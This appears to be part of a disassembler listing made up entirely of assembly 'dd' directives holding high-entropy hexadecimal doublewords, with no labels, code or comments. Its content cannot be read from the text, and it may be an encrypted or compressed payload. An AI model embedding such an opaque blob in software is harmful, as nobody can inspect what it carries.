		dd 8BBD8755h, 4FC06AFBh, 0E27FD9Dh, 8ECDF4Fh, 1FB14B80h
		dd 0AF009711h, 0C0BC6458h, 0E4D443A3h, 0FFE0C0B7h, 6DE8329Dh
		dd 0F1F87A01h, 0E2745689h, 93CDD8h, 0CA42E334h,	2A7C63B1h
		dd 0EBA7B19h, 5080B57Ch, 93518337h, 6C00A7FEh, 0BB224AA5h
		dd 245D3BA9h, 1C54BC6Ah, 50B80075h, 18CEEA13h, 3C3A5CEAh
		dd 8071BD3Dh, 3205E2D6h, 0AC8140h, 5C4ED933h, 0FFF88F04h
		dd 9ECC6C00h, 0FA66E243h, 0EFE300E4h, 6DDB87ACh, 62074490h
		dd 2331B3F1h, 0F78E5B50h, 0C1E30780h, 135F2A16h, 0BAE3435Ch
		dd 0B3C2F298h, 0DE00957Fh, 80EBFDCh, 3F8EAA39h,	6E00D826h
		dd 0F890B97h, 0EA7F5D9Dh, 753C938h, 0A483F4ABh,	0A51F5010h
		dd 0B82F0027h, 3BF8EE4Eh, 0D20410DEh, 719304F3h, 574F39C0h
		dd 59F56175h, 0F04AAD01h, 0E077B320h, 4DC0A00h,	52A57217h
		dd 0D52C00B8h, 0C8A0F39h, 59005793h, 1807ECFFh,	919F76h
		dd 2E0E3C0Bh, 0CBB52FB0h, 6F9BFA00h, 43D10CCCh,	24C800DAh
		dd 7461E9E5h, 7A05C728h, 9130EFFEh, 0DFCACC0h, 2B260739h
		dd 15E1603Ch, 2D16C015h, 0E2121D35h, 0B41E02FCh, 0F9E7840h
		dd 558BABh, 0E0CD855Dh,	5894AC0Ah, 0CF836700h, 0DF9AFCAAh
		dd 5B140068h, 0D1E5E0A6h, 0A70056AEh, 9D1A500Bh, 264A223Fh
		dd 3A4878D5h, 91429480h, 0F6571F3Eh, 0A758D400h, 7718FABDh
		dd 62B00AAh, 36BFDD6Ah,	870069C8h, 8E790E26h, 0F4D028h
		dd 62D2A81Ch, 5FEE598Fh, 0E9694B01h, 755D4D51h,	7185420h
		dd 8C6C4163h, 49ACB0ECh, 7D002ECAh, 0A247ED7Fh,	0FC2FD544h
		dd 70860237h, 9AC4DC83h, 5B07CA80h, 65E8DF78h, 2593D001h
		dd 7BC535B3h, 16AA70h, 9D582B98h, 86336A8Fh, 8E327613h
		dd 9A00BA12h, 9EB58946h, 0A74B0057h, 7ABC381h, 0E60071A9h
		dd 28C1CD2Ch, 0EAC77Eh,	501EEE61h, 0F65E6739h, 68432500h
		dd 708A6B0h, 48E00064h,	7C94A015h, 8302405Bh, 0ADDE847Fh
		dd 80288F03h, 145D8298h, 4AD20031h, 0A0FC69BDh,	0AB001113h
		dd 3263B03Fh, 8765A4h, 6CC79C8Bh, 8DF03E1Dh, 0C7E558h
		dd 995F8882h, 107DCA7h,	37D87EFh, 0FCD7A4F6h, 9C48B094h
		dd 179D0318h, 0E0E68601h, 283FFD49h, 2E959866h,	0E54ECF8h
		dd 4A6EB804h, 92AF3460h, 0A059A81Bh, 0D780068h,	3B542D2h
		dd 52A60006h, 19FE9C94h, 0C92E4EC8h, 41005876h,	0F4DDC778h
		dd 59401D9h, 9144B274h,	0E1C3D4BDh, 9DD8421Fh, 0CA2EEA03h
		dd 7D6BF856h, 36ED009Ch, 1DB5D65Eh, 1B03F667h, 6A558AB8h
		dd 278BE8FCh, 0D34D00E4h, 0BB515941h, 8898216Fh, 0DF3E9A00h
		dd 0FD9BF45h, 4EE8002Eh, 7D6D3726h, 1898F608h, 0F0526B2Ch
		dd 60FCF30Eh, 2070EA59h, 8078C3FBh, 0B5D0CB2Eh,	0C009652h
		dd 0F06B6A31h, 7CE0578h, 72BB35B0h, 9EE6606Fh, 0FCB89A60h
		dd 0D6231F00h, 0A17AD352h, 2518096Bh, 0DB0054C8h, 241F66A2h
		dd 5E55CB30h, 0D4BCD2Fh, 0FC6F6BDFh, 222A80F8h,	0E8FF9369h
		dd 79F60AD8h, 0F8CD19Ah, 8FA02152h, 9E32593Eh, 8A064A90h
		dd 0D2C6DEECh, 4F6A0011h, 0A5FD799Bh, 61EB669h,	0E7966690h
		dd 1445D6E0h, 0C08AFBCAh, 3E1E6B00h, 784257B4h,	0CFE7B307h
		dd 35356714h, 0FCE024C0h, 6C054C18h, 9AC0228h, 39F77355h
		dd 0B30F0483h, 0E9E4D2BEh, 1A1C1303h, 0FB8D3F9h, 0DCB27DB8h
		dd 42878220h, 0FD0C6B46h, 4808475Fh, 3FB0C3h, 0F665E120h
		dd 0FB9D540h, 0BA34A4C7h, 0F08976h, 93786C8Dh, 19FFF187h
		dd 6EE9071Ch, 1FB495D4h, 8C0EE28h, 35F940DCh, 5E550A04h
		dd 0E82B2Dh, 5A12E4F5h,	9917A9C2h, 4A1FE158h, 0A60A1940h
		dd 1F4536Fh, 3989871Ah,	0D7152FB4h, 66575BA0h, 70529004h
		dd 5CC0F0BFh, 71F11739h, 12BB810h, 0FA8BA9CDh, 0C8F9D595h
		dd 9E182C91h, 2A119286h, 1DB390Fh, 0E4D42680h, 8FA51E39h
		dd 930088B0h, 0DB3E9F0Ah, 302E1Ah, 24FD5B68h, 9A73B175h
		dd 0E74B8A06h, 678E3D0h, 0C033E962h, 59305888h,	0CD2624C2h
		dd 52111727h, 0FAA807C5h, 0ACBFC021h, 0A60072F2h, 0C2DCF5Eh
		dd 55F769h, 0DE8A6743h,	173BE6CDh, 3297B415h, 0D33998ECh
		dd 0D08F0083h, 443B40FEh, 63001FABh, 4DF5A00Ah,	7DEB229Ch
		dd 3EF0069Fh, 0D0762E0Ch, 8F4AFB0Bh, 0F964002Dh, 0F622FE53h
		dd 6F4E0491h, 806DE423h, 4BE85668h, 0F2CB1019h,	14CCE31Ah
		dd 876B0059h, 90A1F166h, 1E036C31h, 832DEB28h, 6E95E99Dh
		dd 0CC806821h, 34C116C4h, 0CC382C4Ah, 400A00CAh, 38152628h
		dd 508A60B9h, 4A679C5h,	9B309277h, 9FC7AC5Fh, 0E9C207EDh
		dd 80A47132h, 884C10E5h, 8A45AA3Eh, 848D7B53h, 6D094C28h
		dd 47439CAh, 0B7C05A0Ch, 261680BCh, 7604BC4h, 0D0F612C6h
		dd 1A615F5Eh, 7800E1B0h, 4A8E1BF3h, 1855F171h, 52D68CA2h
		dd 3972E0A1h, 0B5692009h, 0D430E847h, 1FA3007Eh, 3818C81Eh
		dd 0D300763Fh, 0BCF14649h, 0C55B0h, 0F342BB9Bh,	0EB9EBE11h
		dd 0D75C341Ch, 625F1C81h, 0EA403071h, 1F5BD5F7h, 0BFE4B2h
		dd 136B73E1h, 370072FCh, 62289D40h, 9A35F7h, 1BEFBC30h
		dd 83119EFAh, 0C2008DECh, 895D4BA0h, 605B4DE5h,	0D6E75055h
		dd 0B3EA3760h, 0AA5EE900h, 0B57C7A66h, 6BD928EBh, 0DE500FCh
		dd 5D519FD7h, 0E803C59Dh, 4F99D515h, 0E538F850h, 48980Ch
		dd 7FA251Ch, 3C2F122Dh,	0F9E9681Fh, 50113080h, 4EB6A3Ah
		dd 0C4DF7DA7h, 430CC05Ah, 0E6161939h, 0C81E12F2h, 0FB8F81C0h
		dd 49EDCD09h, 3A01F416h, 0A82BA48Dh, 64CC4069h,	60FEEBD9h
		dd 4E51B700h, 0A49727F7h, 0CD3E26F6h, 4752808Ch, 8FCF59FBh
		dd 56921100h, 96CC07EBh, 974D00DAh, 7D4AF63Dh, 6D001955h
		dd 83FD0892h, 1018E6Ah
		dd 0C215D526h, 0F74BB110h, 0F760CEF7h, 0C758D75Dh, 0D412E900h
		dd 34DCBB5Ch, 99E30021h, 0A374852Ch, 6139D144h,	0E456A4C0h
		dd 204FF10Fh, 550516D3h, 0FDC7C7Ah, 0A5A923C3h,	0F1ED960h
		dd 2200BFEDh, 3B51CF0Ch, 99685Dh, 53E75B8Dh, 473861A8h
		dd 0D000F9F2h, 6CC1499Ch, 9A2F682Dh, 0F0746744h, 46D6A02Ah
		dd 3D7FEA8Dh, 93A77C0Fh, 0A01AAF58h, 0B7891CD0h, 82541F66h
		dd 7D6C43D8h, 4870350h,	0F01CC45Ch, 24003730h, 2C53C0D2h
		dd 1CDB869Dh, 5FE390A0h, 18D48009h, 5F357F99h, 95E50401h
		dd 32DC8B0Ah, 3CA870h, 82131A11h, 742439D1h, 0A07A6C27h
		dd 0C5D93514h, 653D00FAh, 0EFE1DDFh, 125C8CE9h,	0ABC1D48h
		dd 47331381h, 50842AD4h, 0A0776D90h, 0C109F99Ch, 0A09CB971h
		dd 55C53DA8h, 2F5EA53h,	78F75689h, 10439B97h, 8CB536D8h
		dd 5CAC1101h, 23247704h, 6D260EAh, 199300D5h, 0BABD71C3h
		dd 6300ECE3h, 0B7240E9Ch, 9013B42Bh, 50CA1240h,	0D32F0A86h
		dd 0F3650BE4h, 0A21CCC80h, 0C200AC3Dh, 0EE54A57Bh, 9B2870h
		dd 38B72366h, 0D004D262h, 3006E139h, 304928ADh,	4BDB0035h
		dd 74011ABAh, 27005B9Fh, 9B71BF15h, 54B24A85h, 0B684B5h
		dd 8CA507F9h, 9D6E54A2h, 29426700h, 9741236h, 814000C8h
		dd 0EA9AAAC1h, 320102F9h, 14462113h, 6C30A10Ch,	0C3400694h
		dd 10DACB89h, 0A9A0C600h, 718FF1Ch, 0FB693E49h,	0D8F50C80h
		dd 0B410EEE7h, 944DBE0Eh, 71007358h, 0AE9DF093h, 2783264Fh
		dd 0A74B00B8h, 0B852CD64h, 2EACFE50h, 809A5D00h, 1D78A45Fh
		dd 1710237h, 0FE2C34A6h, 815BFC80h, 0E007B8Dh, 0A26BD7CDh
		dd 1B0116h, 0A4F26968h,	0A0FFBB7Ch, 5F664026h, 73E5F001h
		dd 0F8809F3Fh, 0E3D63195h, 4E1E6971h, 64006D45h, 0CBAA54A4h
		dd 4D40026Fh, 69859941h, 32515461h, 0D0160748h,	96814C90h
		dd 6032E33Ah, 3B975300h, 332F49B0h, 0F8F6691Ch,	40152C0Eh
		dd 0F5ED6438h, 172E0106h, 232B991Ah, 0FF54305Bh, 0F98D3D00h
		dd 0A781BE78h, 39907148h, 0C900CE97h, 0CCD1C726h, 0C8B09AEEh
		dd 521B48h, 65031441h, 84BFEBh,	0BC858F23h, 4320B6BBh
		dd 96058171h, 0C6978B42h, 3CB1E0A4h, 3E7C8E06h,	2080168Fh
		dd 140B4EC2h, 733F5371h, 0EC05F1D3h, 1DDCA7BFh,	92EFC4FAh
		dd 5440B87Ch, 7003E252h, 72F39C68h, 5BA7F830h, 0B807002Ah
		dd 985D4DB3h, 7F003D14h, 3EF19323h, 309D92C3h, 0E40B466h
		dd 0D92FCF1Bh, 0C7D800B8h, 6D84F2h, 0BAB9F721h,	0CEDA377Eh
		dd 89F80B00h, 0F54ED56Ch, 0A6990019h, 80312051h, 590015F1h
		dd 789245D6h, 48ABB3E1h, 0DA3044A2h, 4D80FAE8h,	36C8BE00h
		dd 0D15EB0F2h, 9F252C3Ch, 70F90762h, 50830033h,	95ABCD4h
		dd 5303A5A8h, 9F9E20FCh, 60B092E0h, 7C8454Ch, 4A352D6Bh
		dd 0C27582A0h, 1BBE846h, 0A4CC641Bh, 8337D051h,	6BF38516h
		dd 717BE0D3h, 0E7010019h, 0B14BC521h, 0DF00510Ch, 0F7995D61h
		dd 2CEC4188h, 0E83670h,	0BDA51CD6h, 94026942h, 0F7D18D54h
		dd 21FCC032h, 0D9C0008Bh, 16FA4F0h, 280047A3h, 75716A8Fh
		dd 5EFB0FB4h, 2B10007Fh, 0C7413BD7h, 6CB54626h,	433DD100h
		dd 0BE4FC5h, 3CD82B7Ah,	1302F440h, 0D367F900h, 0F6E06207h
		dd 0E58F612h, 0E27E7ACEh, 7560CCCEh, 59DD3E6h, 2F155E3Ah
		dd 0B8A41BF3h, 2515BA2h, 6C05547Ah, 14C0303Bh, 6CA8F787h
		dd 310E7F9Dh, 98988CE4h, 2C112420h, 71C8921h, 6085632Ch
		dd 4F76FA6h, 3F504716h,	0D2E2B040h, 1E15235Bh, 4065BDAFh
		dd 3C96B048h, 2DF295B1h, 27929D00h, 0BFBE70DEh,	387B4C81h
		dd 22AA3707h, 656660E6h, 74E93E8Fh, 58D63A70h, 0B7EC7000h
		dd 78A20654h, 0C350071Fh, 0D04BFA2Dh, 0C0B647D3h, 2E3A215Ch
		dd 71EC834h, 0AB9C04FDh, 13808990h, 7BBFB0h, 6FFE0FC5h
		dd 95A32C03h, 0DA00109Ch, 0FD6EF7EDh, 5D530280h, 0FE96053Ch
		dd 2F4EA480h, 0D500FCB8h, 89FCD73h, 39950h, 0D8D1DD34h
		dd 2E49590Eh, 0B3BF0D00h, 78B64D2h, 738E3D80h, 800E4E96h
		dd 0F3972A28h, 0AD8F5800h, 715084C0h, 23E70266h, 14E873E0h
		dd 59326CE8h, 29198305h, 9B018CCh, 8036004Bh, 0F3B8B4E2h
		dd 0DE0B2C3h, 0C9AEF000h, 0D1D93C19h, 8CA1017Eh, 7DC19010h
		dd 33A0EF67h, 9B7F139Dh, 23E5BB1Dh, 2E47817Fh, 42733B37h
		dd 4D5DF8FCh, 0F9007043h, 0CF0E2A4Fh, 0CE589811h, 3A913E2h
		dd 0FC0D6CDCh, 1FC47052h, 721E864h, 33D7691Fh, 30E976ECh
		dd 571CC82Bh, 6DC1E100h, 0A74DDB18h, 0E17BB074h, 489C70h
		dd 1478347Dh, 916B4E0Ah, 0F128F074h, 0D026CFA8h, 89003498h
		dd 71967941h, 0A2690FFCh, 5440EB58h, 0F56BB680h, 0ADC3D00h
		dd 97AFC262h, 7F40CEFh,	95B8862Fh, 7AF6ED03h, 0C6C18532h
		dd 0AE088021h, 0F5EE1896h, 94A83101h, 0C9B2EC02h, 78A2171Ch
		dd 1FBC0788h, 80256BBBh, 0F42790F7h, 0B3E89DE8h, 60211448h
		dd 97AB21A9h, 0FCF807EDh, 49D8EE2Fh, 1810F488h,	13A64027h
		dd 6E646500h, 11CE687h,	767721Ah, 9454D5EFh, 6D301119h
		dd 1C5C6098h, 1FC04B03h, 0A8A04897h, 0C0A73E24h, 1C59BF51h
		dd 9400295Eh, 9C60E9F7h, 0E2C0BB92h, 0A32B0016h, 1548EF17h
		dd 0F62ABA11h, 5A406865h, 0EE8780E4h, 7EB53Eh, 0D953AFBAh
		dd 0E44943C4h, 18E30034h, 0D61260A3h, 963A92BCh, 0BBB9002Bh
		dd 678D270Bh, 25DD008Ah, 802DE7B8h, 2FF472C9h, 0B178BB00h
		dd 73B956C0h, 0B06C0082h, 1151DF18h, 0EB0080C6h, 0FE9D67C1h
		dd 874ACEh, 7FCAE260h, 8B846A93h, 0D046A9C0h, 0AF1D51h
		dd 9BAC0E48h, 0C5A65E2Ch, 0A2540B78h, 0BA006084h, 0C0D3E45Bh
		dd 9BE21Ch, 66A8C95h, 0A00F2598h, 0C6DC29C0h, 0F279156h
		dd 3F68F7CCh, 0B1D40839h, 9D568C21h, 21600DBh, 0B8AC6528h
		dd 5A0D92B7h, 58F27FEAh, 30BFC1C1h, 77901D8Dh, 98B18F20h
		dd 8C13093Dh, 0FAF31177h, 1CC50161h, 149CC083h,	0E90898ABh
		dd 39BD821h, 33025561h,	49039186h, 5BF70B28h, 632E88BAh
		dd 4D5A0318h, 5C0462BDh, 15687064h, 3B619560h, 448C1C75h
		dd 9D00DAECh, 8EC5E561h, 37CDA1h, 0EBF12376h, 689BA27Fh
		dd 83DF1A3Eh, 0C9BC8E98h, 38CEBBh, 5F175493h, 0FCE8EE2Ch
		dd 0E0F79719h, 21815008h, 0DB5FEFB7h, 73DC8CCh,	0C7967300h
		dd 795BE011h, 3660C0FCh, 0B5527593h, 1710ED63h,	2CB38153h
		dd 83E4E8h, 33C0C184h, 0CF1AE70Ah, 4FFB0C00h, 2CA30280h
		dd 0A98A00FDh, 1082A2E4h, 7600E77Fh, 31DDED84h,	3E34C5h
		dd 4D1F7223h, 0E6473815h, 0AD0AD200h, 587424FBh, 0EF10085h
		dd 4E3BC2CDh, 0BC00046Dh, 0E68DF8AFh, 7758A5E8h, 0F1B33961h
		dd 0C4069B00h, 4E9AA0EAh, 2D0DA100h, 0B8EBA6BFh, 867DBBh
		dd 63E40ED0h, 0A8A29344h, 0C400C0EEh, 30B76F16h, 7AE964h
		dd 2B714519h, 0B6444AA0h, 8807D37Ah, 2ABE18BAh,	0B93703C0h
		dd 0C4B10080h, 8EC0E205h, 50704AEFh, 87B8D01h, 0A1884BB8h
		dd 0E8ADC120h, 0F22A0BB3h, 1487C330h, 82498CCBh, 23DEB00h
		dd 35AA72A7h, 1D07331h,	0ECE84DAFh, 0F0703B0Eh,	33B006C1h
		dd 9D24A40Fh, 933805ABh, 893E6C80h, 0EC0718A3h,	5999282Eh
		dd 9C8C6C0Ch, 0B3601Fh,	0E907D438h, 0C8780840h,	0B037BC07h
		dd 0C03710C7h, 0CD1C31F0h, 54A50605h, 39189B7Ah, 202D5000h
		dd 709D2335h, 1BF93FCDh, 59F77600h, 7A13C1Fh, 91787C60h
		dd 559B81h, 40ABA362h
		dd 0AD06CAF5h, 7DB5E800h, 0E3FE704Ah, 673016AAh, 722B0511h
		dd 0C600AB38h, 0C8BFA4F2h, 2635008Dh, 59A5D019h, 11006A01h
		dd 9539EB8h, 52B6CCh, 0ABE60F56h, 4B6383D9h, 764F6A00h
		dd 1FBB9BF9h, 8839CEC5h, 0ADE0408Fh, 0B2E81526h, 9B79A77Ch
		dd 119440Ch, 0FC28C0h, 0E2E7A35h, 4F2F1EC5h, 0E202490Ch
		dd 7BD0505Bh, 0C3B70FC1h, 0D28071BAh, 25C4F211h, 0B6406B07h
		dd 12008614h, 28B43C55h, 12C2EBEh, 0F88FAC92h, 0C49B494Ah
		dd 0A2374D7Fh, 0D3D0685Ch, 0C7B2A10h, 8B298DB4h, 666EC0B0h
		dd 15988088h, 4148E82h,	0B4E5841Ch, 57E2C0EAh, 7D2788F9h
		dd 0C5DE26h, 1186DD38h,	0D30F0D62h, 0E05824CCh,	7059A44Eh
		dd 0E00B7845h, 0DC9F00C0h, 2FAC9546h, 7805F9F5h, 4EB1E473h
		dd 0C3149C82h, 956BC0EBh, 889B0027h, 0B078156Fh, 8CD0577h
		dd 102021F2h, 6FC7019Bh, 0C3235093h, 79B1F4CFh,	0FB51CD0Eh
		dd 771038C8h, 15E80093h, 319FACADh, 18C6F337h, 3482BC0h
		dd 6EE55322h, 103FD3DCh, 0FA778CF5h, 60CC69F8h,	1AF619D4h
		dd 910306BCh, 0DE4255C9h, 0C4F0A88Dh, 0FA1630DDh, 0DB93ED31h
		dd 0AE3A7400h, 0FEC2E702h, 44AF1DCFh, 30C1C6FDh, 0DF0080FFh
		dd 736CE43Ah, 6766ABh, 17A45AE3h, 88F5F6D0h, 10F4F300h
		dd 722B650Ch, 67CA0093h, 5E1877AFh, 0FBEC6ADFh,	0E33E430Eh
		dd 0AEA060BCh, 3AB115h,	135720F5h, 0A79F31D0h, 1E073B00h
		dd 642CE4BFh, 38990015h, 0FBDB5112h, 55009CEDh,	0CF0ABBCCh
		dd 30A3549Eh, 0D84026E0h, 0D3030F40h, 7773DB11h, 6009F6CCh
		dd 2760213Ah, 3600CED3h, 0A4990A17h, 0F3778Ah, 0D8BF2324h
		dd 98CD1220h, 18E24410h, 6051EE10h, 0C8382041h,	20376004h
		dd 6AC2D4F1h, 1852DD80h, 29B00D35h, 0A500ACB7h,	2CAD324Eh
		dd 0CC55CA28h, 70214D08h, 5EA5A400h, 9B7537C5h,	2BF80085h
		dd 1091F994h, 2803C615h, 60B60A38h, 0C181C65Ah,	1C5F50F0h
		dd 0A180404Dh, 0FC033E97h, 5228F9A5h, 0DB0BC8DAh, 0CAA90356h
		dd 22FE4726h, 0D84F81E8h, 40DC8C00h, 48F77595h,	9EFF0078h
		dd 549F88CEh, 8F00ECFAh, 0A634F120h, 4D65A1h, 9C930862h
		dd 942F3CBCh, 10EBB700h, 0D7B980B8h, 0ADD0006h,	75092338h
		dd 0BD1C5B0Ch, 4480BC8Bh, 0CA1052FBh, 0AA3000F8h, 0FE57BBE0h
		dd 0F30034F2h, 0BE47D9B4h, 9AADB7h, 3FE2E5F7h, 3CF8467Dh
		dd 80C7913Fh, 640DCA08h, 1A73DC25h, 1199342Dh, 8610417h
		dd 1080147Bh, 4B1945ACh, 0B00B167h, 0F79A96Dh, 63DD59h
		dd 78AA660Ah, 0E6935C18h, 9E387A09h, 0CE1C8070h, 3D7260h
		dd 279279Bh, 5E1918C6h,	25008BE0h, 80083EC7h, 0D6EDACh
		dd 0B0A80523h, 3B47A7A1h, 7038B700h, 0F006FED9h, 0BDB400DBh
		dd 0E44E2881h, 420330E1h, 0ABC8C4EDh, 2DA4907Ah, 0EE5C002Eh
		dd 211FFEF0h, 0AC03B630h, 87994776h, 0A3C8F8A0h, 0A1D61E48h
		dd 0C0045CDFh, 7BBDE418h, 4500D8F0h, 82A44F4Ah,	0DD2FF180h
		dd 0F77D805Eh, 0C33FA213h, 0D22D4B2Ch, 8835A500h, 7A443003h
		dd 96E800F5h, 15AD671Fh, 3618BDE1h, 8D24CCC2h, 0B1EF00BCh
		dd 3BAAEB59h, 6918E47Eh, 7A26B3F3h, 88EA019Fh, 0E5F6AED6h
		dd 0FE63701Bh, 0A93CC71Eh, 8C80B51Dh, 94F087E8h, 9BA101CAh
		dd 9A4BC2BAh, 0AE77D8CFh, 0DC334E00h, 1CDA9507h, 30D03C3h
		dd 560A0426h, 0D6606F91h, 0C088CC63h, 6900DB4Bh, 0D7A0E74h
		dd 78D6DE75h, 66330314h, 3BBB6F4Fh, 2C452900h, 0E2B14880h
		dd 9CD700BDh, 0A8DD5557h, 1500C876h, 0AC9E3EC3h, 18E092Ah
		dd 1359BFC0h, 0C75072F4h, 5AC0C6C3h, 0A0004365h, 74DF545Dh
		dd 255EC7h, 0B39933DAh,	0D951C082h, 7D3C5578h, 0ADB4D0BCh
		dd 0ABCC81C0h, 163C7F4h, 0A64C53D1h, 802562E6h,	9FCA8A3Ah
		dd 0D7DFE3h, 0B1ECCEEAh, 0FA8C85FFh, 0D33EB500h, 37BB3CCAh
		dd 4B540AADh, 83F414CDh, 0F0AFCEBAh, 0AB7EE1A8h, 78344C24h
		dd 2774A980h, 50C6E582h, 144C0ECh, 0C52CB09Ch, 2480F68Eh
		dd 0ECF2FE40h, 10B29100h, 6F6B843Eh, 0B3750C25h, 0CF96371Ah
		dd 4FA69601h, 0BEAF1298h, 564BA040h, 0D3FB00EDh, 9CE7AAB5h
		dd 4000E68Eh, 4414B776h, 3FF21FEh, 92118194h, 0CE80197h
		dd 0F700030Bh, 23F5CC0h, 639D57B0h, 0C11450BFh,	0C3F99C80h
		dd 37EC96C0h, 0EE15D6h,	2F25E520h, 4279719Eh, 2AA3730Eh
		dd 0D1E2E5A9h, 431F8C01h, 78200B30h, 76151CF8h,	361C01Ah
		dd 9BD0A8A0h, 0C95A3100h, 633979CCh, 9B10740h, 907AAF15h
		dd 0C633B421h, 0B36F3C1Fh, 12DC6181h, 5B30B044h, 76090014h
		dd 4F29231Bh, 0A7050248h, 0C45173D8h, 0B149E300h, 3D9F3BACh
		dd 0EBA485B9h, 0C0E41D28h, 848DC03Ah, 0D1488012h, 8272002Dh
		dd 66958BF5h, 55A72422h, 1D06007Ch, 0EE120E11h,	0C338AC05h
		dd 0D80F9C4Eh, 0B8F2A0D7h, 8FF341h, 5432BA26h, 95F0F551h
		dd 3101137Eh, 0FDF45263h, 0A2CC4294h, 0E2B628A6h, 41D809E8h
		dd 0B980AACFh, 0AC20A5D1h, 0BC4C5500h, 0ED81371Dh, 0E38A098Dh
		dd 18000ED8h, 0B1B4DDADh, 8B091AEAh, 0D1D6AFh, 0C2A8515Ch
		dd 589516B0h, 0B50A0EE8h, 718AEBC1h, 767B60CFh,	85D17500h
		dd 8442E4A8h, 8E7583h, 0DEFCA144h, 0D62ED223h, 7399890h
		dd 0B0050E61h, 7BB5E579h, 0A12CA283h, 9D601E2Ah, 2EDFCFh
		dd 0A4EC1C30h, 5A00D1CCh, 0F4546CEFh, 3DE57D7h,	83C1AB4Eh
		dd 9991A39Ah, 54D88111h, 8B4373A8h, 2B24FD0h, 34BF2DCBh
		dd 0C8882Ch, 22031971h,	55C3E726h, 0DA82C89Ch, 0CE90163Fh
		dd 0C3D61E86h, 0ECFDE549h, 0D9278C99h, 43E84011h, 0F000EDEAh
		dd 0D4FC4ADAh, 71B05E59h, 828D00A5h, 5A8E44E2h,	5C0075FDh
		dd 0F493F52Ah, 12D1DFD4h, 0BE7BEEh, 398C2EFAh, 0BC00A177h
		dd 0BA16AEFAh, 906EE4h,	3A5BDC3h, 726B7945h, 0C00CDD58h
		dd 0D5A1ECE7h, 2F892F1h, 0FB56A995h, 0E600E016h, 1FE3D84h
		dd 487B5E9Eh, 8050C72Bh, 632A35F1h, 0DA5A1Ch, 0F4764A97h
		dd 0D20C56C1h, 0C0677D03h, 0FFC873Eh, 9F958D88h, 5C1E4F40h
		dd 9B01859Dh, 189AF6A9h, 4864A8CFh, 4C4737C6h, 8AFD70F8h
		dd 420075F8h, 0A7A8B745h, 4AAD786h, 14C0D3F1h, 90EC8040h
		dd 300BAB2h, 0C2913166h, 48E807BFh, 6507B839h, 20A7D789h
		dd 75663799h, 0BD63CF00h, 0B4392B45h, 46A20027h, 55EA2E3Ah
		dd 280084CBh, 0F6F0D07Dh, 0E422904Ah, 0D93900F9h, 2B89C343h
		dd 0E7009953h, 5E4ACDBBh, 7C795ABh, 7630573Ah, 7CF340B1h
		dd 3278250Dh, 85A2B51Fh, 361B9440h, 0FFAF1A4h, 0B0A07F17h
		dd 84A383C0h, 483B413Bh, 59C980A7h, 0B867AD58h,	6B0B008Dh
		dd 0DC95809Fh, 4F6193Eh, 4D056200h, 0B42C9B14h,	662500FCh
		dd 8524D1ACh, 0BA00D234h, 0E8B0955Fh, 6E37B9h, 7BD8A48Eh
		dd 233BF986h, 46709200h, 6B0F6031h, 0A393010Ah,	1C5107A5h
		dd 0D3160ADh, 155D1606h, 0EF78EB9Dh, 736552FCh,	1A2800CCh
		dd 0A3DB7B5h, 5E0046D8h, 0C3DF0CC7h, 0FCBD7CAAh, 0AE291C31h
		dd 1AB280F3h, 424BB49h,	71932100h, 0D50E1D53h, 954E00A7h
		dd 1365DCD2h, 6B00E1A0h, 3C7320DEh, 3C075671h, 8011BFCh
		dd 44D44957h, 0F08F3113h, 0A478B85Ch, 2D956300h, 0F7283853h
		dd 36C9009Eh, 0E7E096Fh, 5100CEEFh, 6123497Bh, 0F69C25B7h
		dd 54DA000Dh, 3BB984D1h, 0AB0116A7h, 6F8D563Ch,	0DC741892h
		dd 0C2F900F8h, 0B045D61Fh, 0B10003E6h, 3859D9F5h, 0FBD285h
		dd 9702CE88h, 0EBA319C9h
		dd 3AB63F5Ch, 0A0A22C67h, 800EDD8Bh, 946257F2h,	7030E522h
		dd 0E4E307B4h, 8093B7F5h, 0B5851FCBh, 9684B33Fh, 0AD0EA4EDh
		dd 9AC120FCh, 0ACB974h,	1CBAFDF6h, 69C8FE1Bh, 5F5039C7h
		dd 1E19B9C0h, 0A0EA0038h, 0F7C196CEh, 4A00A920h, 46E8397Bh
		dd 785956BCh, 3DA13B92h, 586F9A00h, 23A8E78Ch, 0B7D2C216h
		dd 475A0C02h, 48E068CDh, 2A87038Fh, 62D968B1h, 24D4EF90h
		dd 60496D00h, 51D0B63h,	82B90042h, 5385A4EEh, 0BC003C23h
		dd 0B01B39D2h, 266CE736h, 68E298h, 3893500Fh, 0B0A13069h
		dd 7B1F7054h, 898ECA0Eh, 0A8894Dh, 149E4028h, 0A03A00B4h
		dd 2A47ACE2h, 7400CE28h, 0EA766978h, 745612Fh, 3075656Fh
		dd 0A1F2E007h, 5B00CC77h, 0BB19FB94h, 55F552h, 0CE72FC51h
		dd 1F146517h, 0FA0EC509h, 79B80736h, 297FDE60h,	593012EFh
		dd 0D8700051h, 0E4B94719h, 380AA01Eh, 20CF79CEh, 0B8787FCEh
		dd 40130057h, 1F3545BEh, 66003A96h, 0DB513F80h,	1FD5DD59h
		dd 1A3103D8h, 574069D6h, 14003925h, 5A4C9D7Fh, 7EC989Eh
		dd 1A360DBFh, 804B70B7h, 0B31D8F2Ah, 7CC0D8F6h,	8ED12070h
		dd 12190047h, 0A60E31F5h, 789F2B02h, 534A1C66h,	68007861h
		dd 5A791D7Fh, 5C00A53Ch, 1A0C5FD8h, 1C1337Eh, 1B6E2D21h
		dd 60CC4241h, 0E6F2B0F0h, 80B2AF3Fh, 3B23FC20h,	70964308h
		dd 6C700010h, 247132ADh, 0DD012CF4h, 610B3A18h,	3060CDC4h
		dd 39230026h, 0F2336956h, 1298CA17h, 0E500B2F8h, 65D91AABh
		dd 1246AA3h, 0F99E514Fh, 0F8BC1CD5h, 0F104C8EDh, 0DD4CA514h
		dd 0F20A487h, 281A2D47h, 0F34B2Ah, 7A22FF0Eh, 38EF3B7Fh
		dd 0A510900h, 33576BC9h, 0CD7900CBh, 989A8D55h,	9893EDA4h
		dd 86FE8E07h, 899463EFh, 939598CBh, 19D900FDh, 2CE142E3h
		dd 86008FC4h, 4CC9571Ch, 485ABEh, 0DC14538Eh, 238BAE61h
		dd 8AD8A000h, 0E2B2DE25h, 975E00BFh, 5A962D5h, 9B58AB7Fh
		dd 0F91E0005h, 0D3410B7Dh, 0DEDC004Fh, 0BA9EE301h, 0FE0029F6h
		dd 563BC69Bh, 190BB3Dh,	0FD6CA7F1h, 205CD787h, 0B600F485h
		dd 9AD4C2E0h, 155D21Dh,	0C81CD857h, 3068A88Dh, 0B93B5809h
		dd 0C2ED80D3h, 0DAF6D9A9h, 1353E649h, 400C8690h, 7E77DF54h
